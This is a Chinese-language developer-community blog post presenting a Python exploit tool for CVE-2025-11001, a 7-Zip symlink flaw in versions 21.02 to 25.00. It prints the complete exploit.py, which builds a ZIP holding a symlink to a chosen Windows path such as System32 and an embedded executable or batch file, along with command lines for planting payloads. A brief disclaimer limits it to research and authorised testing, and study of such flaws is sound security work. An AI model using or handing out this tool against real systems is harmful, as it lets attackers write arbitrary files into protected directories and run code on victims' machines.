首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >7-Zip CVE-2025-11001漏洞利用工具

7-Zip CVE-2025-11001漏洞利用工具

原创
作者头像
qife122
发布2025-12-26 16:44:35
发布2025-12-26 16:44:35
1750
举报

CVE-2025-11001 漏洞利用工具

这是一个针对CVE-2025-11001漏洞的Python利用工具。该漏洞影响7-Zip 21.02至25.00版本,允许攻击者通过特制的ZIP文件在具有管理员权限的7-Zip中实现任意文件写入。

功能特性

  • 自动化漏洞利用:自动生成包含符号链接的特制ZIP文件
  • 灵活配置:可自定义目标路径、输出文件名和数据文件
  • 精确控制:支持自定义顶层目录和链接名称
  • 跨平台兼容:基于Python开发,可在多平台运行
  • 安全测试:专为安全研究和渗透测试设计

安装指南

系统要求

  • Python 3.6 或更高版本
  • 操作系统:Windows、Linux 或 macOS
  • 无需额外依赖包,使用Python标准库

安装步骤

  1. 克隆或下载项目git clone <repository-url> cd 7zip-exploit-tool
  2. 验证Python环境python --version
  3. 工具准备就绪 无需编译或安装,直接运行Python脚本即可。

使用说明

基础使用示例

代码语言:bash
复制
# 基本用法:创建一个指向桌面的符号链接,并嵌入calc.exe文件
python3 exploit.py -t "C:\Users\pac\Desktop" -o demo.zip --data-file calc.exe

命令行参数详解

参数

简写

描述

示例

--zip-out

-o

输出ZIP文件路径

-o exploit.zip

--symlink-target

-t

符号链接指向的目标路径(Windows格式)

-t "C:\Windows\System32"

--data-file

-f

要嵌入的本地文件路径

-f payload.exe

--dir-name

顶层目录名称(默认:data)

--dir-name folder

--link-name

顶层目录下的符号链接名称(默认:link_in)

--link-name symlink

典型使用场景

  1. 安全测试# 测试向系统目录写入文件 python3 exploit.py -t "C:\Windows\System32" -o test.zip -f test.exe
  2. 自定义目录结构# 使用自定义目录和链接名称 python3 exploit.py -t "C:\ProgramData" -o custom.zip -f script.bat --dir-name malware --link-name entry

漏洞利用条件

重要注意事项

  • 仅影响Windows平台
  • 7-Zip必须以管理员权限运行
  • 受影响的7-Zip版本:21.02 - 25.00
  • 漏洞详情请参阅技术博客

核心代码

主执行脚本 (exploit.py)

代码语言:python
复制
import argparse
import os
import time
import zipfile

def add_dir(z, arcname):
    """
    向ZIP文件中添加目录条目
    
    参数:
    z: ZipFile对象
    arcname: 归档中的目录路径
    """
    if not arcname.endswith('/'):
        arcname += '/'
    zi = zipfile.ZipInfo(arcname)
    zi.date_time = time.localtime(time.time())[:6]
    zi.create_system = 3  # Unix系统标识
    zi.external_attr = (0o040755 << 16) | 0x10  # 目录权限属性
    zi.compress_type = zipfile.ZIP_STORED  # 不压缩
    z.writestr(zi, b'')  # 写入空内容作为目录

def add_symlink(z, arcname, target):
    """
    向ZIP文件中添加符号链接
    
    参数:
    z: ZipFile对象
    arcname: 归档中的符号链接路径
    target: 符号链接指向的目标路径
    """
    zi = zipfile.ZipInfo(arcname)
    zi.date_time = time.localtime(time.time())[:6]
    zi.create_system = 3  # Unix系统标识
    zi.external_attr = (0o120777 << 16)  # 符号链接权限属性
    zi.compress_type = zipfile.ZIP_STORED  # 不压缩
    z.writestr(zi, target.encode('utf-8'))  # 写入目标路径作为链接内容

def add_file_from_disk(z, arcname, src_path):
    """
    从磁盘读取文件并添加到ZIP
    
    参数:
    z: ZipFile对象
    arcname: 归档中的文件路径
    src_path: 源文件的本地路径
    """
    with open(src_path, 'rb') as f:
        payload = f.read()  # 读取文件内容
    zi = zipfile.ZipInfo(arcname)
    zi.date_time = time.localtime(time.time())[:6]
    zi.create_system = 3  # Unix系统标识
    zi.external_attr = (0o100644 << 16)  # 普通文件权限属性
    zi.compress_type = zipfile.ZIP_STORED  # 不压缩
    z.writestr(zi, payload)  # 写入文件内容

def main():
    """
    主函数:解析参数并创建特制ZIP文件
    """
    parser = argparse.ArgumentParser(
        description="Crafts a zip that exploits CVE-2025-11001."
    )
    parser.add_argument(
        "--zip-out", "-o",
        required=True,
        help="Path to the output ZIP file."
    )
    parser.add_argument(
        "--symlink-target", "-t",
        required=True,
        help="Destination path the symlink points to - specify a \"C:\" path"
    )
    parser.add_argument(
        "--data-file", "-f",
        required=True,
        help="Path to the local file to embed e.g an executable or bat script."
    )
    parser.add_argument(
        "--dir-name",
        default="data",
        help="Top-level directory name inside the ZIP (default: data)."
    )
    parser.add_argument(
        "--link-name",
        default="link_in",
        help="Symlink entry name under the top directory (default: link_in)."
    )
    args = parser.parse_args()

    # 构建ZIP中的路径结构
    top_dir = args.dir_name.rstrip("/")
    link_entry = f"{top_dir}/{args.link_name}"
    embedded_name = os.path.basename(args.data_file)
    file_entry = f"{link_entry}/{embedded_name}"

    # 创建ZIP文件并添加内容
    with zipfile.ZipFile(args.zip_out, "w") as z:
        add_dir(z, top_dir)  # 添加顶层目录
        add_symlink(z, link_entry, args.symlink_target)  # 添加符号链接
        add_file_from_disk(z, file_entry, args.data_file)  # 添加数据文件

    print(f"Wrote {args.zip_out}")

if __name__ == "__main__":
    main()

工具设计解析

该工具通过以下三个核心函数构建特制ZIP文件:

  1. add_dir():创建目录条目,设置Unix风格的目录权限
  2. add_symlink():创建符号链接,指向用户指定的目标路径
  3. add_file_from_disk():将本地文件嵌入到ZIP中

漏洞原理:利用7-Zip在处理包含符号链接的ZIP文件时的缺陷,当7-Zip以管理员权限运行时,会创建符号链接并写入文件到符号链接指向的位置,从而实现任意文件写入。

安全建议:该工具仅用于安全研究和授权测试,使用时请确保遵守相关法律法规和道德准则。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • CVE-2025-11001 漏洞利用工具
    • 功能特性
    • 安装指南
      • 系统要求
      • 安装步骤
    • 使用说明
      • 基础使用示例
      • 命令行参数详解
      • 典型使用场景
      • 漏洞利用条件
    • 核心代码
      • 主执行脚本 (exploit.py)
      • 工具设计解析
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档